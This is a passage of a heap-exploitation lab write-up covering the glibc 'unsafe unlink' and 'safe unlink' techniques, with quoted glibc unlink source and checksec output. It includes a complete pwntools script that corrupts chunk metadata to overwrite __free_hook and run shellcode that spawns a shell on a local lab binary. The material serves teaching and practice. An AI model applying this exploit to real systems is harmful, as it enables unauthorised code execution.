</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1429
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1430
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1431
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1432
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1433
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1434
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a8a8a8">#define unlink(AV, P, BK, FD) {\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">    FD = P-&gt;fd;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">    BK = P-&gt;bk;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">    FD-&gt;bk = BK;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">    BK-&gt;fd = FD;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">    if (!in_smallbin_range (P-&gt;size)\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">        &amp;&amp; __builtin_expect (P-&gt;fd_nextsize != NULL, 0)) {\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">            if (FD-&gt;fd_nextsize == NULL) {\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                if (P-&gt;fd_nextsize == P)\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                  FD-&gt;fd_nextsize = FD-&gt;bk_nextsize = FD;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                else {\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                    FD-&gt;fd_nextsize = P-&gt;fd_nextsize;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                    FD-&gt;bk_nextsize = P-&gt;bk_nextsize;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                    P-&gt;fd_nextsize-&gt;bk_nextsize = FD;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                    P-&gt;bk_nextsize-&gt;fd_nextsize = FD;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                }\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">            } else {\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                P-&gt;fd_nextsize-&gt;bk_nextsize = P-&gt;bk_nextsize;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">                P-&gt;bk_nextsize-&gt;fd_nextsize = P-&gt;fd_nextsize;\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">            }\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">    }\
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">}</span></span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>With that in mind the exploit is pretty straightforward.
Unfortunately I can&rsquo;t use the OG method of writing shellcode on the heap because in QEMU/Rosetta the heap isn&rsquo;t marked executable (even though the stack is—weird), and we can&rsquo;t use a one_gadget because Glibc <code>.text</code> isn&rsquo;t writable:</p>





  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[*] &#39;./unsafe_unlink&#39;
</span></span><span style="display:flex;"><span>    Arch:       amd64-64-little
</span></span><span style="display:flex;"><span>    RELRO:      Full RELRO
</span></span><span style="display:flex;"><span>    Stack:      Canary found
</span></span><span style="display:flex;"><span>    NX:         NX unknown - GNU_STACK missing
</span></span><span style="display:flex;"><span>    PIE:        PIE enabled
</span></span><span style="display:flex;"><span>    Stack:      Executable
</span></span><span style="display:flex;"><span>    RWX:        Has RWX segments
</span></span><span style="display:flex;"><span>    RUNPATH:    b&#39;../.glibc/glibc_2.23_unsafe-unlink&#39;
</span></span><span style="display:flex;"><span>    Stripped:   No
</span></span><span style="display:flex;"><span>    Debuginfo:  Yes</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;unsafe_unlink&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit</span>(index, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;heap @ &#34;</span>)
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>shellcode <span style="color:#00d3d0">=</span> flat(
</span></span><span style="display:flex;"><span>    asm(<span style="color:#79a8ff">&#34;jmp .+18&#34;</span>),
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    asm(shellcraft<span style="color:#00d3d0">.</span>amd64<span style="color:#00d3d0">.</span>linux<span style="color:#00d3d0">.</span>sh())
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># start of the heap plus the size, fd, and bk fields of chunk A</span>
</span></span><span style="display:flex;"><span>shellcode_addr <span style="color:#00d3d0">=</span> heap <span style="color:#00d3d0">+</span> <span style="color:#00bcff">8</span> <span style="color:#00d3d0">+</span> <span style="color:#00bcff">8</span> <span style="color:#00d3d0">+</span> <span style="color:#00bcff">8</span> <span style="color:#00d3d0">+</span> <span style="color:#00bcff">8</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x3f0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk A</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x3f0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk B</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>) <span style="color:#00d3d0">+</span> p64(shellcode_addr) <span style="color:#00d3d0">+</span> shellcode <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0x3f0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#f78fe7">len</span>(shellcode)<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0x3f0</span>) <span style="color:#00d3d0">+</span> p64((<span style="color:#00bcff">0x3f0</span>) <span style="color:#00d3d0">&amp;</span> <span style="color:#00d3d0">~</span><span style="color:#00bcff">0b111</span>))
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">1</span>) <span style="color:#a8a8a8"># trigger unlink of chunk A</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>) <span style="color:#a8a8a8"># trigger __free_hook</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvall())</span></span></code></pre></div>
</details>

<h2 id="safe-unlink">Safe unlink</h2>
<p>This is effectively the same as <a href="/writeups/heaplab/#unsafe-unlink">unsafe unlink</a>, except now integrity checks have been introduced to the unlinking process that thwart our previous approach:</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1449"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1449">1449</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1450"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1450">1450</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1451"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1451">1451</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1452"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1452">1452</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1453"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1453">1453</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1454"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1454">1454</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1455"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1455">1455</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1456"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1456">1456</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1457"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1457">1457</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1458"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1458">1458</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1459"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1459">1459</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1460"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1460">1460</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1461"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1461">1461</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1462"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1462">1462</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1463"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1463">1463</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1464"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1464">1464</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1465"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1465">1465</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1466"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1466">1466</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1467"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1467">1467</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1468"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1468">1468</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1469"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1469">1469</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1470"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1470">1470</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1471"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1471">1471</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1472"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1472">1472</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1473"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1473">1473</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1474"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1474">1474</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1475"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1475">1475</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1476"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1476">1476</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1477"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1477">1477</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1478"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1478">1478</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1479"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1479">1479</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1480"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1480">1480</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1481"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1481">1481</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1482"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1482">1482</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1483"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1483">1483</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1484"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1484">1484</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1485"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1485">1485</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1486"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1486">1486</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1487"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1487">1487</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1488"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1488">1488</a>
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a8a8a8">/* Take a chunk off a bin list.  */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">static</span> <span style="color:#6ae4b9">void</span>
</span></span><span style="display:flex;"><span><span style="color:#feacd0">unlink_chunk</span> (mstate av, mchunkptr p)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">chunksize</span> (p) <span style="color:#00d3d0">!=</span> <span style="color:#feacd0">prev_size</span> (<span style="color:#feacd0">next_chunk</span> (p)))
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;corrupted size vs. prev_size&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  mchunkptr fd <span style="color:#00d3d0">=</span> p<span style="color:#00d3d0">-&gt;</span>fd;
</span></span><span style="display:flex;"><span>  mchunkptr bk <span style="color:#00d3d0">=</span> p<span style="color:#00d3d0">-&gt;</span>bk;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__builtin_expect</span> (fd<span style="color:#00d3d0">-&gt;</span>bk <span style="color:#00d3d0">!=</span> p <span style="color:#00d3d0">||</span> bk<span style="color:#00d3d0">-&gt;</span>fd <span style="color:#00d3d0">!=</span> p, <span style="color:#00bcff">0</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;corrupted double-linked list&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  fd<span style="color:#00d3d0">-&gt;</span>bk <span style="color:#00d3d0">=</span> bk;
</span></span><span style="display:flex;"><span>  bk<span style="color:#00d3d0">-&gt;</span>fd <span style="color:#00d3d0">=</span> fd;
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> (<span style="color:#00d3d0">!</span><span style="color:#feacd0">in_smallbin_range</span> (<span style="color:#feacd0">chunksize_nomask</span> (p)) <span style="color:#00d3d0">&amp;&amp;</span> p<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">!=</span> <span style="color:#f78fe7">NULL</span>)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#b6a0ff">if</span> (p<span style="color:#00d3d0">-&gt;</span>fd_nextsize<span style="color:#00d3d0">-&gt;</span>bk_nextsize <span style="color:#00d3d0">!=</span> p
</span></span><span style="display:flex;"><span>	  <span style="color:#00d3d0">||</span> p<span style="color:#00d3d0">-&gt;</span>bk_nextsize<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">!=</span> p)
</span></span><span style="display:flex;"><span>	<span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;corrupted double-linked list (not small)&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      <span style="color:#b6a0ff">if</span> (fd<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">==</span> <span style="color:#f78fe7">NULL</span>)
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>	  <span style="color:#b6a0ff">if</span> (p<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">==</span> p)
</span></span><span style="display:flex;"><span>	    fd<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">=</span> fd<span style="color:#00d3d0">-&gt;</span>bk_nextsize <span style="color:#00d3d0">=</span> fd;
</span></span><span style="display:flex;"><span>	  <span style="color:#b6a0ff">else</span>
</span></span><span style="display:flex;"><span>	    {
</span></span><span style="display:flex;"><span>	      fd<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">=</span> p<span style="color:#00d3d0">-&gt;</span>fd_nextsize;
</span></span><span style="display:flex;"><span>	      fd<span style="color:#00d3d0">-&gt;</span>bk_nextsize <span style="color:#00d3d0">=</span> p<span style="color:#00d3d0">-&gt;</span>bk_nextsize;
</span></span><span style="display:flex;"><span>	      p<span style="color:#00d3d0">-&gt;</span>fd_nextsize<span style="color:#00d3d0">-&gt;</span>bk_nextsize <span style="color:#00d3d0">=</span> fd;
</span></span><span style="display:flex;"><span>	      p<span style="color:#00d3d0">-&gt;</span>bk_nextsize<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">=</span> fd;
</span></span><span style="display:flex;"><span>	    }
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>      <span style="color:#b6a0ff">else</span>
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>	  p<span style="color:#00d3d0">-&gt;</span>fd_nextsize<span style="color:#00d3d0">-&gt;</span>bk_nextsize <span style="color:#00d3d0">=</span> p<span style="color:#00d3d0">-&gt;</span>bk_nextsize;
</span></span><span style="display:flex;"><span>	  p<span style="color:#00d3d0">-&gt;</span>bk_nextsize<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">=</span> p<span style="color:#00d3d0">-&gt;</span>fd_nextsize;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>    }
